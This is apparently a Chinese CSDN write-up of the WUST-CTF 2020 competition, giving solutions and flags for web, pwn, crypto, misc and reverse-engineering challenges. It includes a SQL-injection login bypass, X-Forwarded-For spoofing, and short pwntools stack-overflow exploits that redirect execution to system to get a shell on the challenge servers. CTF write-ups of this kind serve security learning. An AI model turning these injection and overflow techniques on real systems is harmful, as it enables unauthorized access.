WUST-CTF2020(武汉科技大学第一届"WUST-CTF"网络安全竞赛)WP

Web

check in

修改maxlength,删除按钮的disabled,输入作者名52HeRtz即可登录
收到窗口信息一个博客地址,进入。
Ctrl+U查看源码,在末尾发现一半flag
在这里插入图片描述
继续找在“远古的博客”中找到另一半
在这里插入图片描述

wctf2020{can_y0u_can_a_can_a5_a_c@nner_can_Can_@_can}

admin(不会web勉强做出)

用户名:

admin

JSP万能密码:

1'or'1'='1	

登录后页面提示,必须本地ip才能访问,想到用抓包添加XFF来伪造IP
在这里插入图片描述
Action->Send to Repeater->Go
在这里插入图片描述
页面提示用GET传参,停止抓包,在原网址末尾添加

?ais=520

抓包,重复上面的操作,得到新提示,用POST传参
在这里插入图片描述
与GET类似,用hackbar POST

wust=1314

后得到提示离flag很近了,得到一串字符

4dz  aste.ubuntu.com/p/    https://p  Rqr  cSf2

在这里插入图片描述
将字符串HTML解码
在这里插入图片描述
将网址拼接起来得:

https://paste.ubuntu.com/p/cSf24dzRqr

进入得

d2N0ZjIwMjB7bjB3X3lvdV9rbjB3X3RoZV9iYXNpY18wZl9zcWxfYW5kX2h0dHB9

base64解码得:

wctf2020{n0w_you_kn0w_the_basic_0f_sql_and_http}

PWN

getshell

没什么好说的,真·签到题

from pwn import*
#r=process('./getshell')
r=remote('47.97.40.187',12333)
sys_addr=0x0804851b
payload='a'*0x18+'a'*4+p32(sys_addr)
r.sendline(payload)
r.interactive()
wctf2020{E@sy_get_shel1}

getshell2

在这里插入图片描述
在这里插入图片描述
没有buf段让我们写入"/bin/sh",也没有现成的"/bin/sh"让我们使用,但是需要知道的是只需要"sh"便能getshell
注意到这里的read允许的最大长度为36,buf可容纳的长度为0x18=24,所以实现栈溢出覆盖返回地址的长度为28,所以只有8个字节能让我们写syscall
如果我们调用plt表的system函数地址,是需要继续压入一个system返回地址的,这两个地址的长度已经达到了8个字节,没有位置来输入"sh"的地址,所以想到程序里是否有call system直接让我们调用,这样就不用压入返回地址,就能省4个字节来压入"sh"的地址
在这里插入图片描述
在shell函数的汇编代码里找到了,所以将栈溢出后的返回地址直接改为0x08048529就行了,现在找"sh"的地址,用ROPgadget
在这里插入图片描述
exp:

from pwn import*
#r = process('./getshell-2')
r = remote('47.97.40.187', 12334)
sh_addr = 0x08048670
sys_addr = 0x08048529
payload = flat(['a'*28, sys_addr, sh_addr])
r.sendline(payload)
r.interactive()
wctf2020{Sh_Als0_w0rks}

number game

整数溢出
讲讲我做题中的思路:
写了个C++程序测试数字:

#include<iostream>
#include<climits>
#include<math.h>
using namespace std;
int main(){
	int a;
	cout<<INT_MAX<<endl;//打印出int能取的最大值
	cin>>a;
	cout<<a<<endl;
	if (a<0){
		a=-a;
		if(a<0) cout<<"You Win!";
		else cout<<"2You Lose!";
	}
	else cout<<"1You Lose!";
}

int取值范围为[-2147483648,2147483647]
如果取2147483648,理论上讲应该会变为-2147483648,然后能通过测试的但是并没有,程序保留了2147483648,然后试了试2147483649,发现变成了2147483647。至于为什么,我现在也还没搞懂。
然后想着往左区间取,显然-2147483648根据上面的情况是取不了的,就顺手取了个-2147483649,结果通过了测试…(懂这个原理的师傅记得教教弟弟)
exp:

from pwn import*
#r=process('./number_game')
r=remote('106.12.48.20',12336)
payload = -2147483649
r.send(str(payload))
r.interactive()
wctf2020{Opc0de_neg_Is_StraNge}

Crypto

大数运算

part1:
阶乘运算2020!

前八位:38609695->24d231f
part2:
520^1314+2333 ^666
显然前面的数比后面的数大得多,所以后面的结果不影响最后结果的前八位
计算高次幂的脚本:

#include<stdio.h>
#include<string.h>
#include<stdlib.h>

char *multiply(int num, char *obj) {//单个数字进行大数计算
	int i, tem, t = 0;
	char ttt[25];
	if (num == 1) {
		return obj;
	}
	for (i = 0; i < strlen(obj); i++) {
		tem = (obj[i] - '0')*num + t;
		t = tem / 10;
		obj[i] = tem % 10 + '0';
	}
	if (t) {
		itoa(t, ttt, 10);
		for (i = 0; i < strlen(ttt) / 2; i++) {
			char c = ttt[i];
			ttt[i] = ttt[strlen(ttt) - i - 1];
			ttt[strlen(ttt) - i - 1] = c;
		}//翻转
		obj = strcat(obj,ttt);
	}
	return obj;
}
int main() {
	int n,i,num;
	char obj[10000];
	printf("请输入底数,指数:\n");
	scanf("%s%d",obj,&n);
	num=atoi(obj);
	if (n == 0) {
		obj[0] = '1';
		obj[1] = '\0';
	}
	if(n==0&&num==0) {
		printf("error");
	}
	int len=strlen(obj);
	for(i=0;i<len/2;i++){
		char c=obj[i];
		obj[i]=obj[len-i-1];
		obj[len-i-1]=c;
	}//翻转 
	for(i=1; i<n; i++) {//本身就是一次方 
		multiply(num,obj);
	}
		for(i=strlen(obj)-1; i>=0; i--) {
			printf("%c",obj[i]);
		}
	return 0;
}

前八位:67358675->403cfd3
part3:
百度一下宇宙终极问题的x,y,z,得到答案
前八位:17357662->108db5e
part4:
定积分计算…就是一个三角形的面积
结果520*1314=683280->a6d10

wctf2020{24d231f-403cfd3-108db5e-a6d10}

B@se

base64_table少了四个观察一下是34ju
然后排列组合得到最后的table:
JASGBWcQPRXEFLbCDIlmnHUVKTYZdMovwipatNOefghq56rs34ujkxyz012789+/

wctf2020{base64_1s_v3ry_e@sy_and_fuN}

情书

RSA原理题…
在这里插入图片描述
将数字按行输入
接着贴脚本:

import gmpy2
n = 2537
d = 937
result = []
with open("1.txt") as f:
	for i in f:
		result.append(pow(int(i),d,n))
print(result)

得到答案
[8, 11, 14, 21, 4, 24, 14, 20]
按ABCD…(从0开始数)得
ILOVEYOU

wctf2020{ILOVEYOU}

babyrsa

import gmpy2
import libnum
n = 73069886771625642807435783661014062604264768481735145873508846925735521695159
p = gmpy2.mpz(189239861511125143212536989589123569301)
q = gmpy2.mpz(386123125371923651191219869811293586459)
e = gmpy2.mpz(65537)
phi_n = (p-1)*(q-1)
d = gmpy2.invert(e, phi_n)
c = 28767758880940662779934612526152562406674613203406706867456395986985664083182
result = pow(c,d,n)
print(libnum.n2s(result))
wctf2020{just_@_piece_0f_cak3}

佛说:只能四天

尊即寂修我劫修如婆愍闍嚤婆莊愍耨羅嚴是喼婆斯吶眾喼修迦慧迦嚩喼斯願嚤摩隸所迦摩吽即塞願修咒莊波斯訶喃壽祗僧若即亦嘇蜜迦須色喼羅囉咒諦若陀喃慧愍夷羅波若劫蜜斯哆咒塞隸蜜波哆咤慧聞亦吽念彌諸嘚嚴諦咒陀叻咤叻諦缽隸祗婆諦嚩阿兜宣囉吽色缽吶諸劫婆咤咤喼愍尊寂色缽嘚闍兜阿婆若叻般壽聞彌即念若降宣空陀壽愍嚤亦喼寂僧迦色莊壽吽哆尊僧喼喃壽嘚兜我空所吶般所即諸吽薩咤諸莊囉隸般咤色空咤亦喃亦色兜哆嘇亦隸空闍修眾哆咒婆菩迦壽薩塞宣嚩缽寂夷摩所修囉菩阿伏嘚宣嚩薩塞菩波吶波菩哆若慧愍蜜訶壽色咒兜摩缽摩諦劫諸陀即壽所波咤聞如訶摩壽宣咤彌即嚩蜜叻劫嘇缽所摩闍壽波壽劫修訶如嚩嘇囉薩色嚤薩壽修闍夷闍是壽僧劫祗蜜嚴嚩我若空伏諦念降若心吽咤隸嘚耨缽伏吽色寂喃喼吽壽夷若心眾祗喃慧嚴即聞空僧須夷嚴叻心願哆波隸塞吶心須嘇摩咤壽嘚吶夷亦心亦喃若咒壽亦壽囑囑

新佛曰解码:
->

平等文明自由友善公正自由诚信富强自由自由平等民主平等自由自由友善敬业平等公正平等富强平等自由平等民主和谐公正自由诚信平等和谐公正公正自由法治平等法治法治法治和谐和谐平等自由和谐自由自由和谐公正自由敬业自由文明和谐平等自由文明和谐平等和谐文明自由和谐自由和谐和谐平等和谐法治公正诚信平等公正诚信民主自由和谐公正民主平等平等平等平等自由和谐和谐和谐平等和谐自由诚信平等和谐自由自由友善敬业平等和谐自由友善敬业平等法治自由法治和谐和谐自由友善公正法治敬业公正友善爱国公正民主法治文明自由民主平等公正自由法治平等文明平等友善自由平等和谐自由友善自由平等文明自由民主自由平等平等敬业自由平等平等诚信富强平等友善敬业公正诚信平等公正友善敬业公正平等平等诚信平等公正自由公正诚信平等法治敬业公正诚信平等法治平等公正友善平等公正诚信自由公正友善敬业法治法治公正公正公正平等公正诚信自由公正和谐公正平等

社会主义核心价值观解码:

RLJDQTOVPTQ6O6duws5CD6IB5B52CC57okCaUUC3SO4OSOWG3LynarAVGRZSJRAEYEZ_ooe_doyouknowfence

RLJDQTOVPTQ6O6duws5CD6IB5B52CC57okCaUUC3SO4OSOWG3LynarAVGRZSJRAEYEZ_ooe
对这段字符串四节栅栏:
R5UALCUVJDCGD63RQISZTBOSO54JVBORP5SAT2OEQCWY6CGEO53Z67L_doyouknowCaesar

R5UALCUVJDCGD63RQISZTBOSO54JVBORP5SAT2OEQCWY6CGEO53Z67L
对这段字符串四位Caesar

->o5rxizrsgazda63onfpwqylpl54gsylom5pxq2lbnztv6zdbl53w67i
base32
->

wctf2020{ni_hao_xiang_xiang_da_wo}

leak

RSA dp泄露(脚本真香)

import gmpy2
import libnum
e = 65537
n = gmpy2.mpz(156808343598578774957375696815188980682166740609302831099696492068246337198792510898818496239166339015207305102101431634283168544492984586566799996471150252382144148257236707247267506165670877506370253127695314163987084076462560095456635833650720606337852199362362120808707925913897956527780930423574343287847)

dp = gmpy2.mpz(734763139918837027274765680404546851353356952885439663987181004382601658386317353877499122276686150509151221546249750373865024485652349719427182780275825)

c = gmpy2.mpz(108542078809057774666748066235473292495343753790443966020636060807418393737258696352569345621488958094856305865603100885838672591764072157183336139243588435583104423268921439473113244493821692560960443688048994557463526099985303667243623711454841573922233051289561865599722004107134302070301237345400354257869)


for x in range(1, e):
    if(e*dp%x==1):
        p=(e*dp-1)//x+1
        if(n%p!=0):
            continue
        q=n//p
        phin=(p-1)*(q-1)
        d=gmpy2.invert(e, phin)
        m=gmpy2.powmod(c, d, n)
        if(len(hex(m)[2:])%2==1):
            continue
        print(libnum.n2s(m))

MISC

比赛规则

wctf2020{y0u_kn0w_th3_rule5}

Space Club

记事本内容全选后发现空格有长有短
在这里插入图片描述
长为1短为0,得011101110110001101110100011001100011001000110000001100100011000001111011011010000011001101110010011001010101111100110001011100110101111101111001001100000111010101110010010111110110011001101100010000000110011101011111011100110011000101111000010111110111001100110001011110000101111101110011001100010111100001111101
转换为字符串
wctf2020{h3re_1s_y0ur_fl@g_s1x_s1x_s1x}

Welcome

检测人脸的程序,检测出有三个人则输出flag(我就拿着我高中毕业照晃了一下,这程序就激动的不行…)

wctf2020{We1cOme_t0_wCtF2o20_aNd_eNj0y_1t}

girlfriend

拨号音+手机按键
每播放完一段都会有#的拨号音表示隔断
例如听出第一个拨号音为999,手机九键对应y
最终答案:

wctf2020{youaremygirlfriends}

用pdf编辑器将图片移开,得到字符串

0x77637466323032307b746831735f31735f405f7064665f616e645f7930755f63616e5f7573655f70686f7430736830707d

base16解码:

wctf2020{th1s_1s_@_pdf_and_y0u_can_use_phot0sh0p}

Shop

在这里插入图片描述
balance就是你拥有的财富.初始值为2020,而购买real flag需要100000
经过几番调试,发现在cheaper flag的地方可能存在整数溢出,通过输入可以将cost变成负数,从而增加我们的财富(减掉一个负数相当于加上他的相反数嘛)
在这里插入图片描述
然后就可以购买real flag了
在这里插入图片描述

wctf2020{0h_noooo_y0u_r0b_my_sh0p}

Alison likes jojo

很容易发现boki.jpg中隐藏着压缩包,用foremost提取出来,发现是加密的。用爆破的方法得到压缩包的密码为888866。解压得到一串字符:killerqueen
最难的是jljy.jpg,试了好多工具最后测出来是outguess
使用命令:

outguess -k "killerqueen" -r jljy.jpg 1.txt

最后拿到flag:

wctf2020{pretty_girl_alison_likes_jojo}

Find me

在图片属性的备注栏发现了盲文

⡇⡓⡄⡖⠂⠀⠂⠀⡋⡉⠔⠀⠔⡅⡯⡖⠔⠁⠔⡞⠔⡔⠔⡯⡽⠔⡕⠔⡕⠔⡕⠔⡕⠔⡕⡍=

盲文转换

wctf2020{y$0$u_f$1$n$d$_M$e$e$e$e$e}

RE

Cr0ssFun

在check函数中翻来翻去组成flag

wctf2020{cpp_@nd_r3verse_@re_fun}

level1

在这里插入图片描述
当i为奇数时,ptr[i]<<i(左移运算符),
当i为偶数时,ptr[i]*i
output已给出,则只需要反过来
当i为奇数时,ptr[i]>>i
当i为偶数时,ptr[i]/i
最终解出来
ctf2020{d9-dE6-20c}
前面加个w

wctf2020{d9-dE6-20c}

level2

加了UPX壳,脱壳就能拿到flag

wctf2020{Just_upx_-d}

或者,用IDA的binary模式打开
在这里插入图片描述
shift+F12搜索字符串wctf也能得到flag
在这里插入图片描述

level3

题目提供了:d2G0ZjLwHjS7DmOzZAY0X2lzX3CoZV9zdNOydO9vZl9yZXZlcnGlfD==这段字符
base64解密发现有些是完整的,有些乱码,所以base64table肯定被修改过
在这里插入图片描述
看到有个这个函数,点进去
在这里插入图片描述
果然,table的前19位被颠倒顺序,
正确的table:
TSRQPONMLKJIHGFEDCBAUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

wctf2020{Base64_is_the_start_of_reverse}
已标记关键词 清除标记
©️2020 CSDN 皮肤主题: 游动-白 设计师:上身试试 返回首页